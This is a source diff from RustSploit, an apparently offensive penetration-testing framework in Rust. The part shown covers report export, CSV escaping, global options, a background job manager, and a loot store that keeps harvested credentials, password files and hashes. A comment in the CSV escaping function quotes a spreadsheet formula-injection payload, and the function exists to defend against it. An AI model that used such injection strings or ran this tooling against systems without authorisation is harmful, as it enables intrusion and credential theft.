report.push_str(&format!(" {}:{}/{} - {} {}\n", s.host, s.port, s.protocol, s.service_name, s.version.as_deref().unwrap_or("")));
}
report.push('\n');
}
if !data.credentials.is_empty() {
report.push_str("--- Credentials ---\n");
for c in &data.credentials {
report.push_str(&format!(" {}@{}:{} ({}) - {} [{}]\n", c.username, c.host, c.port, c.service, c.cred_type, if c.valid { "valid" } else { "invalid" }));
}
report.push('\n');
}
if !data.loot.is_empty() {
report.push_str("--- Loot ---\n");
for l in &data.loot {
report.push_str(&format!(" [{}] {} from {} - {}\n", l.loot_type, l.filename, l.host, l.description));
}
report.push('\n');
}
report.push_str("============================================================\n");
report.push_str("Generated by RustSploit (https://github.com/thekiaboys/rustsploit)\n");
Ok(report)
}
/// Export a human-readable summary report to a file.
pub async fn export_summary(path: &str) -> Result<()> {
validate_export_path(path)?;
let report = export_summary_string().await?;
safe_write(path, report.as_bytes())?;
crate::mprintln!("{}", format!("[+] Exported summary report to '{}'", path).green());
Ok(())
}
fn csv_escape(s: &str) -> String {
let mut val = s.to_string();
// Spreadsheets trim leading whitespace before evaluating a cell, so check
// the first *non-whitespace* char — otherwise " =cmd|'/c calc'!A1" (note
// the leading space) slips past a naive `starts_with('=')` guard.
let needs_formula_guard = val
.trim_start()
.chars()
.next()
.is_some_and(|c| matches!(c, '=' | '+' | '@' | '-' | '\t' | '\r'));
if needs_formula_guard {
val = format!("'{}", val);
}
if needs_formula_guard || val.contains(',') || val.contains('"') || val.contains('\n') {
format!("\"{}\"", val.replace('"', "\"\""))
} else {
val
}
}
pub fn validate_export_path(path: &str) -> Result<()> {
if path.is_empty() || path.len() > 255 {
return Err(anyhow::anyhow!("Invalid export path length (max 255 chars)"));
}
if path.contains("..") || path.contains('\0') {
return Err(anyhow::anyhow!("Path traversal not allowed in export path"));
}
if path.starts_with('/') || path.starts_with('\\') || path.contains('/') || path.contains('\\') {
return Err(anyhow::anyhow!("Only filenames are allowed for export (no directory separators). Use a relative filename like 'report.json'."));
}
if path.starts_with('.') {
return Err(anyhow::anyhow!("Hidden files not allowed for export"));
}
Ok(())
}
+186
View File
@@ -0,0 +1,186 @@
use std::collections::HashMap;
use std::path::PathBuf;
use colored::*;
use once_cell::sync::Lazy;
use tokio::sync::RwLock;
/// Persistent global options that apply across all modules.
/// Like Metasploit's `setg` — values are checked by `cfg_prompt_*`
/// after custom_prompts but before interactive stdin.
pub struct GlobalOptions {
options: RwLock<HashMap<String, String>>,
file_path: PathBuf,
}
impl GlobalOptions {
fn new() -> Self {
let base = home::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".rustsploit");
Self::with_base_dir(base)
}
/// Create a global options store under a custom base directory.
pub(crate) fn with_base_dir(base: PathBuf) -> Self {
let file_path = base.join("global_options.json");
let options = if file_path.exists() {
match std::fs::read_to_string(&file_path) {
Ok(contents) => match serde_json::from_str(&contents) {
Ok(data) => data,
Err(e) => {
eprintln!("[!] Warning: global_options.json is corrupted ({}). Starting fresh.", e);
let backup = file_path.with_extension("json.bak");
if let Err(e) = std::fs::copy(&file_path, &backup) {
eprintln!("[!] Failed to backup corrupted global_options.json: {}", e);
}
HashMap::new()
}
},
Err(e) => {
eprintln!("[!] Failed to read global_options.json: {}", e);
HashMap::new()
}
}
} else {
HashMap::new()
};
Self {
options: RwLock::new(options),
file_path,
}
}
const MAX_KEY_LEN: usize = 256;
const MAX_VALUE_LEN: usize = 4096;
const MAX_ENTRIES: usize = 1024;
/// Set a global option. Persists to disk.
/// Returns false if key/value exceed size limits or entry cap reached.
pub async fn set(&self, key: &str, value: &str) -> bool {
if key.is_empty() || key.len() > Self::MAX_KEY_LEN || value.len() > Self::MAX_VALUE_LEN {
return false;
}
// P1-1: hold the lock across the disk save. Previous code released
// the lock before persisting, allowing two concurrent setters to
// disagree on what the on-disk file contains.
let mut opts = self.options.write().await;
if opts.len() >= Self::MAX_ENTRIES && !opts.contains_key(key) {
return false;
}
opts.insert(key.to_string(), value.to_string());
let snapshot = opts.clone();
self.save_locked(&snapshot).await;
true
}
/// Remove a global option. Persists to disk.
pub async fn unset(&self, key: &str) -> bool {
// P1-1: same lock-during-save fix as `set()`.
let mut opts = self.options.write().await;
let removed = opts.remove(key).is_some();
if removed {
let snapshot = opts.clone();
self.save_locked(&snapshot).await;
return true;
}
false
}
/// Get a global option value.
pub async fn get(&self, key: &str) -> Option<String> {
self.options.read().await.get(key).cloned()
}
/// Synchronous blocking get for use in non-async contexts.
/// Spins briefly if a writer holds the lock, so user-set values
/// are never silently replaced by defaults during a concurrent save.
/// If all retries are exhausted (only possible if a long-running writer
/// holds the lock), logs a debug warning so the silent-default fallback
/// is observable in tracing.
pub fn try_get(&self, key: &str) -> Option<String> {
for _ in 0..50 {
if let Ok(guard) = self.options.try_read() {
return guard.get(key).cloned();
}
std::thread::sleep(std::time::Duration::from_millis(1));
}
tracing::debug!(
key,
"global_options try_get gave up after 50ms — caller will fall back to default"
);
None
}
/// Get all global options.
pub async fn all(&self) -> HashMap<String, String> {
self.options.read().await.clone()
}
/// Save to disk using atomic write (write to temp, then rename).
async fn save_locked(&self, opts: &HashMap<String, String>) {
if let Some(parent) = self.file_path.parent()
&& let Err(e) = tokio::fs::create_dir_all(parent).await {
eprintln!("[!] Failed to create options directory: {}", e);
return;
}
let tmp = self.file_path.with_extension("json.tmp");
let json = match serde_json::to_string_pretty(opts) {
Ok(j) => j,
Err(e) => {
eprintln!("[!] Failed to serialize options: {}", e);
return;
}
};
{
// P1-7: O_NOFOLLOW + create-with-mode atomically.
let mut opts = tokio::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true).mode(0o600);
#[cfg(unix)]
{
opts.custom_flags(libc::O_NOFOLLOW);
}
let file = match opts.open(&tmp).await {
Ok(f) => f,
Err(e) => {
eprintln!("[!] Failed to write temp options file: {}", e);
return;
}
};
let mut file = file;
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
eprintln!("[!] Failed to write temp options file: {}", e);
return;
}
}
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
eprintln!("[!] Failed to rename options file: {}", e);
}
}
/// Display all global options in a formatted table.
pub async fn display(&self) {
let opts = self.all().await;
if opts.is_empty() {
println!("{}", "No global options set. Use 'setg <key> <value>' to set one.".dimmed());
return;
}
println!();
println!("{}", "Global Options:".bold().underline());
println!();
println!(" {:<30} {}", "Key".bold(), "Value".bold());
println!(" {:<30} {}", "---".dimmed(), "-----".dimmed());
let mut keys: Vec<_> = opts.keys().collect();
keys.sort();
for key in keys {
if let Some(val) = opts.get(key) {
println!(" {:<30} {}", key.green(), val);
}
}
println!();
}
}
pub static GLOBAL_OPTIONS: Lazy<GlobalOptions> = Lazy::new(GlobalOptions::new);
+625
View File
@@ -0,0 +1,625 @@
use std::collections::HashMap;
use std::sync::atomic::{AtomicU32, AtomicU64, Ordering};
use std::sync::Arc;
use std::sync::LazyLock as Lazy;
use std::sync::RwLock;
use rand::RngExt;
use colored::*;
use serde::Serialize;
use tokio::sync::{broadcast, watch};
use tokio_util::sync::CancellationToken;
#[derive(Clone, Debug, Serialize)]
pub enum JobEvent {
Started { id: u32, module: String, target: String },
Completed { id: u32 },
Failed { id: u32, error: String },
Cancelled { id: u32 },
}
/// Status of a background job.
#[derive(Debug, Clone, Serialize)]
pub enum JobStatus {
Running,
Completed,
Failed(String),
Cancelled,
}
impl std::fmt::Display for JobStatus {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
JobStatus::Running => write!(f, "Running"),
JobStatus::Completed => write!(f, "Completed"),
JobStatus::Failed(msg) => write!(f, "Failed: {}", msg),
JobStatus::Cancelled => write!(f, "Cancelled"),
}
}
}
/// Thread-safe output + progress tracker shared between the job task and API readers.
pub struct JobProgress {
output: RwLock<std::collections::VecDeque<String>>,
total_lines_pushed: AtomicU64,
pub success_count: AtomicU64,
pub fail_count: AtomicU64,
pub total_targets: AtomicU64,
pub last_activity: RwLock<chrono::DateTime<chrono::Local>>,
}
const MAX_OUTPUT_LINES: usize = 5000;
const MAX_LINE_BYTES: usize = 10_240;
impl JobProgress {
pub fn new() -> Arc<Self> {
Arc::new(Self {
output: RwLock::new(std::collections::VecDeque::with_capacity(MAX_OUTPUT_LINES)),
total_lines_pushed: AtomicU64::new(0),
success_count: AtomicU64::new(0),
fail_count: AtomicU64::new(0),
total_targets: AtomicU64::new(0),
last_activity: RwLock::new(chrono::Local::now()),
})
}
pub fn push_line(&self, line: String) {
let capped = if line.len() > MAX_LINE_BYTES {
let mut t = line;
t.truncate(MAX_LINE_BYTES);
t.push_str(" [truncated]");
t
} else {
line
};
{
let mut buf = self.output.write().unwrap_or_else(|e| e.into_inner());
if buf.len() >= MAX_OUTPUT_LINES {
buf.pop_front();
}
buf.push_back(capped);
}
self.total_lines_pushed.fetch_add(1, Ordering::Relaxed);
*self.last_activity.write().unwrap_or_else(|e| e.into_inner()) = chrono::Local::now();
}
pub fn get_output(&self, from: usize) -> Vec<String> {
self.output.read().unwrap_or_else(|e| e.into_inner())
.iter().skip(from).cloned().collect()
}
pub fn output_len(&self) -> usize {
self.output.read().unwrap_or_else(|e| e.into_inner()).len()
}
pub fn completed(&self) -> u64 {
self.success_count.load(Ordering::Relaxed) + self.fail_count.load(Ordering::Relaxed)
}
}
/// A background job entry.
pub struct Job {
pub id: u32,
pub module: String,
pub target: String,
pub started_at: chrono::DateTime<chrono::Local>,
pub status: JobStatus,
pub progress: Arc<JobProgress>,
finished_at: Option<std::time::Instant>,
/// Lifecycle signal observed by the outer `tokio::select!` arm in `spawn`.
/// Triggered together with `cancel_token` from `kill`.
cancel_tx: watch::Sender<bool>,
/// Cooperative-cancellation signal passed into the module's `RunContext`.
/// Module loops can poll `crate::context::is_cancelled()` to terminate
/// gracefully when `kill` is invoked.
cancel_token: CancellationToken,
handle: Option<tokio::task::JoinHandle<()>>,
}
const MAX_JOBS: usize = 1000;
const FINISHED_JOB_RETENTION_SECS: u64 = 300;
const DEFAULT_MAX_RUNNING: usize = 5;
/// Manages background jobs.
pub struct JobManager {
jobs: RwLock<HashMap<u32, Job>>,
max_running: AtomicU32,
event_tx: broadcast::Sender<JobEvent>,
}
impl JobManager {
pub(crate) fn new() -> Self {
let (event_tx, _) = broadcast::channel(256);
Self {
jobs: RwLock::new(HashMap::new()),
max_running: AtomicU32::new(DEFAULT_MAX_RUNNING as u32),
event_tx,
}
}
/// P1-2: generate an unpredictable u32 job ID across the full 32-bit space
/// (skipping 0). Sequential IDs let one tenant guess another tenant's
/// `jobId` and subscribe to / kill it. With MAX_JOBS = 1000 the birthday
/// collision probability is ~1.2e-4 per spawn — the retry loop in `spawn`
/// covers the rare hit.
fn fresh_id() -> u32 {
let mut rng = rand::rng();
let mut id: u32 = rng.random();
if id == 0 { id = 1; }
id
}
pub fn subscribe(&self) -> broadcast::Receiver<JobEvent> {
self.event_tx.subscribe()
}
pub fn running_count(&self) -> usize {
self.jobs.read().map(|jobs| {
jobs.values().filter(|j| {
j.handle.as_ref().map(|h| !h.is_finished()).unwrap_or(false)
}).count()
}).unwrap_or(0)
}
pub fn get_max_running(&self) -> u32 {
self.max_running.load(Ordering::Relaxed)
}
pub fn set_max_running(&self, limit: u32) {
let clamped = limit.clamp(1, 100);
self.max_running.store(clamped, Ordering::Relaxed);
}
/// Record a terminal status written back by the spawned task itself, so a
/// crashed/errored job is never later misreported as "Completed" by the
/// `is_finished()` fallback in `list()`/`get_detail()`. Only transitions a
/// job that is still `Running` (a `kill()` that already set `Cancelled`
/// must win), and stamps `finished_at` for retention.
fn record_terminal(&self, id: u32, status: JobStatus) {
let mut jobs = self.jobs.write().unwrap_or_else(|e| e.into_inner());
if let Some(job) = jobs.get_mut(&id) {
if matches!(job.status, JobStatus::Running) {
job.status = status;
}
if job.finished_at.is_none() {
job.finished_at = Some(std::time::Instant::now());
}
}
}
/// Mark a background job as successfully completed. Called by the spawned
/// task on a clean `Ok` result so the durable record reflects success.
pub fn mark_completed(&self, id: u32) {
self.record_terminal(id, JobStatus::Completed);
}
/// Mark a background job as failed and persist the failure reason into the
/// durable `Job` record (not just the bounded progress buffer / transient
/// broadcast event). Called by the spawned task on an `Err`/panic result.
pub fn mark_failed(&self, id: u32, msg: String) {
self.record_terminal(id, JobStatus::Failed(msg));
}
pub fn spawn(
&self,
module: String,
target: String,
verbose: bool,
config: Option<crate::config::ModuleConfig>,
) -> Result<(u32, Arc<JobProgress>), String> {
let mut jobs = self.jobs.write().map_err(|e| format!("Job lock poisoned: {e}"))?;
let running = jobs.values().filter(|j| {
j.handle.as_ref().map(|h| !h.is_finished()).unwrap_or(false)
}).count();
let max = self.max_running.load(Ordering::Relaxed) as usize;
if running >= max {
return Err(format!(
"Job limit reached: {}/{} concurrent jobs running. Kill a running job or increase the limit.",
running, max
));
}
let mut id = Self::fresh_id();
while jobs.contains_key(&id) {
id = Self::fresh_id();
}
if jobs.len() >= MAX_JOBS {
let now = std::time::Instant::now();
jobs.retain(|_, j| {
match j.finished_at {
None => true,
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
}
});
if jobs.len() >= MAX_JOBS {
let mut finished: Vec<(u32, std::time::Instant)> = jobs.iter()
.filter_map(|(jid, j)| j.finished_at.map(|t| (*jid, t)))
.collect();
finished.sort_by_key(|(_, t)| *t);
for (oldest_id, _) in finished.into_iter().take(jobs.len() - MAX_JOBS + 1) {
jobs.remove(&oldest_id);
}
}
}
let (cancel_tx, cancel_rx) = watch::channel(false);
let cancel_token = CancellationToken::new();
let cancel_token_for_task = cancel_token.clone();
let progress = JobProgress::new();
let prog_clone = progress.clone();
let mod_clone = module.clone();
let tgt_clone = target.clone();
let evt_module = module.clone();
let evt_target = target.clone();
let event_tx = self.event_tx.clone();
// `tokio::spawn` does NOT inherit the `CURRENT_TENANT` task-local, so a
// background job would otherwise run against the process-global stores
// and leak findings across tenants / into shell mode. Capture the
// requesting tenant here (where the scope is still active) and
// re-establish it inside the spawned task. Fall back to the
// RunContext-scoped tenant (the same precedence `tenant::resolve` uses),
// so a job spawned from module execution — where the tenant is set via
// RunContext rather than the CURRENT_TENANT task-local — still binds to
// the correct tenant instead of leaking into the process-global stores.
let tenant_for_task = crate::tenant::CURRENT_TENANT
.try_with(|t| t.clone())
.ok()
.or_else(crate::context::current_tenant_id);
let handle = tokio::spawn(async move {
let mut rx = cancel_rx;
prog_clone.push_line(format!("[*] Starting {} against {}", mod_clone, tgt_clone));
// P2-A10 / P3-15: catch panics from inside the module so the job
// surfaces as Failed instead of staying "Running" forever after
// `tokio::spawn` swallows the panic. Requires `AssertUnwindSafe`
// because the inner future closes over arbitrary module state.
use futures::FutureExt;
use std::panic::AssertUnwindSafe;
let run_fut = {
let m = mod_clone.clone();
let t = tgt_clone.clone();
let token = cancel_token_for_task;
AssertUnwindSafe(async move {
if let Some(cfg) = config {
let (result, _ctx) = crate::context::run_with_context_target_and_cancel(
cfg,
t.clone(),
token,
|| async move { crate::commands::run_module(&m, &t, verbose).await },
).await;
result
} else {
crate::commands::run_module(&m, &t, verbose).await
}
})
.catch_unwind()
};
// Keep a copy of the tenant id for the terminal-status updates below:
// they run OUTSIDE the CURRENT_TENANT scope (only `run_fut` is
// scoped), and a tenant job is registered in that tenant's own
// JobManager, not the global one — so the terminal transition must be
// applied to the same per-tenant manager (resolved via this id),
// otherwise the job is stuck reporting Running and never records
// Completed/Failed/Cancelled.
let tenant_for_status = tenant_for_task.clone();
// Re-establish the tenant context dropped by `tokio::spawn` so the
// module's loot/hosts/findings and cfg_prompt lookups resolve to the
// requesting tenant's stores (or stay global when spawned from CLI).
let run_fut = async move {
match tenant_for_task {
Some(tid) => crate::tenant::CURRENT_TENANT.scope(tid, run_fut).await,
None => run_fut.await,
}
};
// Capture the module's console output. A background job has no
// foreground OUTPUT_BUFFER, so without this the module's mprintln!
// output would hit the server's real stdout and be lost — API
// clients polling get_output() would only ever see the framing
// lines. Scope a buffer around the run and stream it into the job's
// progress log via a periodic drainer (+ a final flush).
let job_buf = crate::output::OutputBuffer::new();
let run_fut = {
let buf = job_buf.clone();
async move { crate::output::OUTPUT_BUFFER.scope(buf, run_fut).await }
};
// Scan counters: the scheduler fills these with real per-target
// total/succeeded/failed so get_detail reports live progress instead
// of the previously always-zero counters.
let scan_counters = std::sync::Arc::new(crate::context::ScanCounters::default());
let run_fut = {
let c = scan_counters.clone();
async move { crate::context::SCAN_COUNTERS.scope(c, run_fut).await }
};
let (stop_tx, mut stop_rx) = watch::channel(false);
let drainer = {
let buf = job_buf.clone();
let prog = prog_clone.clone();
let counters = scan_counters.clone();
tokio::spawn(async move {
use std::sync::atomic::Ordering::Relaxed;
loop {
let stop = tokio::select! {
_ = tokio::time::sleep(std::time::Duration::from_millis(400)) => false,
_ = stop_rx.changed() => true,
};
let chunk = buf.drain_stdout();
for line in chunk.lines() {
prog.push_line(line.to_string());
}
// Mirror the scheduler's live scan counters into the job.
prog.total_targets.store(counters.total.load(Relaxed), Relaxed);
prog.success_count.store(counters.succeeded.load(Relaxed), Relaxed);
prog.fail_count.store(counters.failed.load(Relaxed), Relaxed);
if stop { break; }
}
})
};
tokio::select! {
result = run_fut => {
let result = match result {
Ok(inner) => inner,
Err(panic) => {
let msg = if let Some(s) = panic.downcast_ref::<&str>() {
format!("module panicked: {}", s)
} else if let Some(s) = panic.downcast_ref::<String>() {
format!("module panicked: {}", s)
} else {
"module panicked (unknown payload)".to_string()
};
Err(anyhow::anyhow!(msg))
}
};
match result {
Ok(_) => {
// Persist the terminal status into the durable Job
// record so a finished job is reported as Completed
// explicitly rather than via the is_finished()
// fallback (which can't distinguish success/failure).
match &tenant_for_status {
Some(tid) => match crate::tenant::resolve_for(tid) {
Ok(s) => s.job_manager().mark_completed(id),
Err(e) => tracing::warn!("job {}: could not resolve tenant '{}' to record completion: {}", id, tid, e),
},
None => JOB_MANAGER.mark_completed(id),
}
prog_clone.push_line(format!("[+] Completed: {} against {}", mod_clone, tgt_clone));
crate::mprintln!("\n{}", format!("[*] Job completed: {} against {}", mod_clone, tgt_clone).green());
if let Err(e) = event_tx.send(JobEvent::Completed { id }) {
tracing::debug!("No WS subscribers for job event: {}", e);
}
}
Err(e) => {
let msg = e.to_string();
// Persist the failure reason into the durable Job
// record so operators polling list()/get_detail()
// see Failed(msg), not a misleading "Completed".
match &tenant_for_status {
Some(tid) => match crate::tenant::resolve_for(tid) {
Ok(s) => s.job_manager().mark_failed(id, msg.clone()),
Err(e) => tracing::warn!("job {}: could not resolve tenant '{}' to record failure: {}", id, tid, e),
},
None => JOB_MANAGER.mark_failed(id, msg.clone()),
}
prog_clone.push_line(format!("[-] Failed: {} - {}", mod_clone, msg));
crate::meprintln!("\n{}", format!("[!] Job failed: {} - {}", mod_clone, msg).red());
if let Err(e) = event_tx.send(JobEvent::Failed { id, error: msg }) {
tracing::debug!("No WS subscribers for job event: {}", e);
}
}
}
}
_ = async { while rx.changed().await.is_ok() { if *rx.borrow() { break; } } } => {
// kill() already set status = Cancelled under the write lock;
// record_terminal() won't overwrite it. This is a no-op for
// status but ensures finished_at is stamped if kill() raced.
match &tenant_for_status {
Some(tid) => match crate::tenant::resolve_for(tid) {
Ok(s) => s.job_manager().record_terminal(id, JobStatus::Cancelled),
Err(e) => tracing::warn!("job {}: could not resolve tenant '{}' to record cancellation: {}", id, tid, e),
},
None => JOB_MANAGER.record_terminal(id, JobStatus::Cancelled),
}
prog_clone.push_line(format!("[!] Cancelled: {}", mod_clone));
crate::mprintln!("\n{}", format!("[*] Job cancelled: {}", mod_clone).yellow());
if let Err(e) = event_tx.send(JobEvent::Cancelled { id }) {
tracing::debug!("No WS subscribers for job event: {}", e);
}
}
}
// Stop the output drainer and flush any remaining captured output so
// the final lines of the run are visible in get_output().
if let Err(e) = stop_tx.send(true) {
tracing::debug!("job output drainer stop signal failed: {e}");
}
if let Err(e) = drainer.await {
tracing::debug!("job output drainer join failed: {e}");
}
});
jobs.insert(id, Job {
id,
module,
target,
started_at: chrono::Local::now(),
status: JobStatus::Running,
progress: progress.clone(),
finished_at: None,
cancel_tx,
cancel_token,
handle: Some(handle),
});
drop(jobs);
if let Err(e) = self.event_tx.send(JobEvent::Started {
id,
module: evt_module,
target: evt_target,
}) {
tracing::debug!("No WS subscribers for job started event: {}", e);
}
Ok((id, progress))
}
pub fn kill(&self, id: u32) -> bool {
let handle_and_tx = {
let mut jobs = match self.jobs.write() {
Ok(j) => j,
Err(e) => {
tracing::warn!(job_id = id, "JobManager write lock poisoned during kill: {}", e);
return false;
}
};
let job = match jobs.get_mut(&id) {
Some(j) => j,
None => return false,
};
if let Err(e) = job.cancel_tx.send(true) {
crate::meprintln!("[!] Job cancel signal error: {}", e);
}
// Trigger cooperative cancellation visible to module code via
// `crate::context::is_cancelled()`. Idempotent — safe to call
// even if the watch::Sender already fired.
job.cancel_token.cancel();
job.status = JobStatus::Cancelled;
if job.finished_at.is_none() {
job.finished_at = Some(std::time::Instant::now());
}
job.handle.take()
};
if let Some(handle) = handle_and_tx {
let abort_handle = handle.abort_handle();
// Fire-and-forget cleanup: give the job 2s to honour the
// cooperative cancel before we hard-abort. We log via tracing
// so a panic in the cleanup task isn't silently swallowed.
tokio::spawn(async move {
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
if !handle.is_finished() {
tracing::debug!("Job did not exit within 2s — hard-aborting");
abort_handle.abort();
}
});
}
true
}
pub fn list(&self) -> Vec<(u32, String, String, String, String)> {
let mut result = Vec::new();
let mut jobs = self.jobs.write().unwrap_or_else(|e| e.into_inner());
let now = std::time::Instant::now();
for job in jobs.values_mut() {
// Fallback only: a finished handle whose task never recorded a
// terminal status (e.g. hard-aborted before mark_*). Never
// overwrites a recorded Completed/Failed/Cancelled — the task
// (mark_completed/mark_failed) and kill() (Cancelled) own those.
if let Some(ref handle) = job.handle
&& handle.is_finished() && matches!(job.status, JobStatus::Running) {
job.status = JobStatus::Completed;
}
let terminal = matches!(
job.status,
JobStatus::Completed | JobStatus::Failed(_) | JobStatus::Cancelled
) || job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(false);
if terminal && job.finished_at.is_none() {
job.finished_at = Some(now);
}
}
jobs.retain(|_, job| match job.finished_at {
None => true,
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
});
let mut ids: Vec<_> = jobs.keys().collect();
ids.sort();
for &id in &ids {
if let Some(job) = jobs.get(id) {
result.push((
*id,
job.module.clone(),
job.target.clone(),
job.started_at.format("%H:%M:%S").to_string(),
format!("{}", job.status),
));
}
}
result
}
pub fn get_detail(&self, id: u32) -> Option<(String, String, String, String, Arc<JobProgress>)> {
let mut jobs = self.jobs.write().unwrap_or_else(|e| e.into_inner());
let job = jobs.get_mut(&id)?;
// Fallback only: a finished handle whose task never recorded a terminal
// status. Never overwrites a recorded Completed/Failed/Cancelled.
if let Some(ref handle) = job.handle
&& handle.is_finished() && matches!(job.status, JobStatus::Running) {
job.status = JobStatus::Completed;
}
let terminal = matches!(
job.status,
JobStatus::Completed | JobStatus::Failed(_) | JobStatus::Cancelled
) || job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(false);
if terminal && job.finished_at.is_none() {
job.finished_at = Some(std::time::Instant::now());
}
Some((
job.module.clone(),
job.target.clone(),
job.started_at.format("%H:%M:%S").to_string(),
format!("{}", job.status),
job.progress.clone(),
))
}
pub fn get_progress(&self, id: u32) -> Option<Arc<JobProgress>> {
self.jobs.read().unwrap_or_else(|e| e.into_inner())
.get(&id).map(|j| j.progress.clone())
}
pub fn cleanup(&self) {
let mut jobs = self.jobs.write().unwrap_or_else(|e| e.into_inner());
let now = std::time::Instant::now();
for job in jobs.values_mut() {
let finished = job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(true);
if finished && job.finished_at.is_none() {
job.finished_at = Some(now);
}
}
jobs.retain(|_, job| match job.finished_at {
None => true,
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
});
}
pub fn display(&self) {
let jobs = self.list();
if jobs.is_empty() {
crate::mprintln!("{}", "No active jobs.".dimmed());
return;
}
crate::mprintln!();
crate::mprintln!("{}", format!("Background Jobs ({}):", jobs.len()).bold().underline());
crate::mprintln!();
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
"ID".bold(), "Module".bold(), "Target".bold(), "Started".bold(), "Status".bold());
crate::mprintln!(" {}", "-".repeat(80).dimmed());
for (id, module, target, started, status) in &jobs {
let status_colored = if status == "Running" {
status.green().to_string()
} else if status == "Completed" {
status.cyan().to_string()
} else if status.starts_with("Failed") {
status.red().to_string()
} else {
status.yellow().to_string()
};
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
id, module, target, started, status_colored);
}
crate::mprintln!();
}
}
pub static JOB_MANAGER: Lazy<JobManager> = Lazy::new(JobManager::new);
+394
View File
@@ -0,0 +1,394 @@
use std::path::PathBuf;
use colored::*;
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use tokio::sync::RwLock;
/// Metadata for a stored loot item.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct LootEntry {
pub id: String,
pub host: String,
pub loot_type: String,
pub filename: String,
pub description: String,
pub source_module: String,
pub timestamp: String,
}
/// Loot store backed by JSON index + file directory.
pub struct LootStore {
entries: RwLock<Vec<LootEntry>>,
index_path: PathBuf,
loot_dir: PathBuf,
}
impl LootStore {
fn new() -> Self {
let base = home::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".rustsploit");
Self::with_base_dir(base)
}
/// Create a loot store under a custom base directory.
pub(crate) fn with_base_dir(base: PathBuf) -> Self {
let loot_dir = base.join("loot");
use std::os::unix::fs::DirBuilderExt;
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&loot_dir) {
eprintln!("[!] Failed to create loot directory {}: {}", loot_dir.display(), e);
}
let index_path = base.join("loot_index.json");
let entries = if index_path.exists() {
match std::fs::read_to_string(&index_path) {
Ok(contents) => match serde_json::from_str(&contents) {
Ok(data) => data,
Err(e) => {
eprintln!("[!] Warning: loot_index.json is corrupted ({}). Creating backup.", e);
let backup = index_path.with_extension("json.bak");
if let Err(e) = std::fs::copy(&index_path, &backup) {
eprintln!("[!] Failed to backup corrupted loot index: {}", e);
}
Vec::new()
}
},
Err(e) => {
eprintln!("[!] Failed to read loot_index.json: {}. Preserving original.", e);
let backup = index_path.with_extension("json.unreadable");
if let Err(e) = std::fs::rename(&index_path, &backup) {
eprintln!("[!] Rename failed: {}", e);
}
Vec::new()
}
}
} else {
Vec::new()
};
Self {
entries: RwLock::new(entries),
index_path,
loot_dir,
}
}
/// Maximum loot file size (100 MB).
const MAX_LOOT_SIZE: usize = 100 * 1024 * 1024;
/// P2-A6: cap on the total number of loot entries to bound disk + index
/// growth. 10k entries × 100 MB max each = ~1 TB worst case, which is
/// well past any realistic engagement; the per-entry cap is the real
/// limit, this catches runaway-loop bugs.
const MAX_LOOT_ENTRIES: usize = 10_000;
/// Store loot data and return the entry ID.
pub async fn add(
&self,
host: &str,
loot_type: &str,
description: &str,
data: &[u8],
source_module: &str,
) -> Option<String> {
// Validate size
if data.len() > Self::MAX_LOOT_SIZE {
eprintln!("[!] Loot too large: {} bytes (max {} MB)", data.len(), Self::MAX_LOOT_SIZE / 1024 / 1024);
return None;
}
// Validate inputs
if host.is_empty() || host.len() > 256 {
return None;
}
// P2-A6: refuse to insert past the global entry cap.
if self.entries.read().await.len() >= Self::MAX_LOOT_ENTRIES {
eprintln!(
"[!] Loot store full ({} entries) — delete or clear loot before adding more",
Self::MAX_LOOT_ENTRIES
);
return None;
}
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
let ext = match loot_type {
"config" => "conf",
"password_file" => "txt",
"firmware" => "bin",
"hash" => "txt",
_ => "dat",
};
// Sanitize loot_type — only allow alphanumeric and underscore
let safe_type: String = loot_type.chars()
.filter(|c| c.is_alphanumeric() || *c == '_')
.take(64)
.collect();
let safe_type = if safe_type.is_empty() { "unknown".to_string() } else { safe_type };
let filename = format!("{}_{}.{}", id, safe_type, ext);
let file_path = self.loot_dir.join(&filename);
// Verify the resolved path is within loot_dir (prevent traversal)
if !file_path.starts_with(&self.loot_dir) {
eprintln!("[!] Loot path escapes loot directory");
return None;
}
{
// P1-7: O_NOFOLLOW + create-with-mode atomically. A symlink raced
// into the loot dir would otherwise redirect the write outside it.
let mut opts = tokio::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true).mode(0o600);
#[cfg(unix)]
{
opts.custom_flags(libc::O_NOFOLLOW);
}
let file = match opts.open(&file_path).await {
Ok(f) => f,
Err(e) => {
eprintln!("[!] Failed to create loot file: {}", e);
return None;
}
};
let mut file = file;
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, data).await {
eprintln!("[!] Failed to write loot data: {}", e);
return None;
}
}
let entry = LootEntry {
// Scrub host + source_module too (not just loot_type/description):
// both are printed raw by `loot` and could carry terminal-escape
// bytes from an attacker-controlled banner / module string.
id: id.clone(),
host: crate::utils::scrub_stored_text(host),
loot_type: crate::utils::scrub_stored_text(loot_type),
filename,
description: crate::utils::scrub_stored_text(description),
source_module: crate::utils::scrub_stored_text(source_module),
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
};
// P1-1: hold the write lock across the disk save.
{
let mut entries = self.entries.write().await;
// Re-check the cap under the write lock. The earlier read-lock check
// is only a fast path: concurrent `add`s can each pass it and then
// all push, blowing past the cap. Re-checking here also handles the
// file we already wrote above — remove it so a rejected add doesn't
// leave an orphan loot file on disk.
if entries.len() >= Self::MAX_LOOT_ENTRIES {
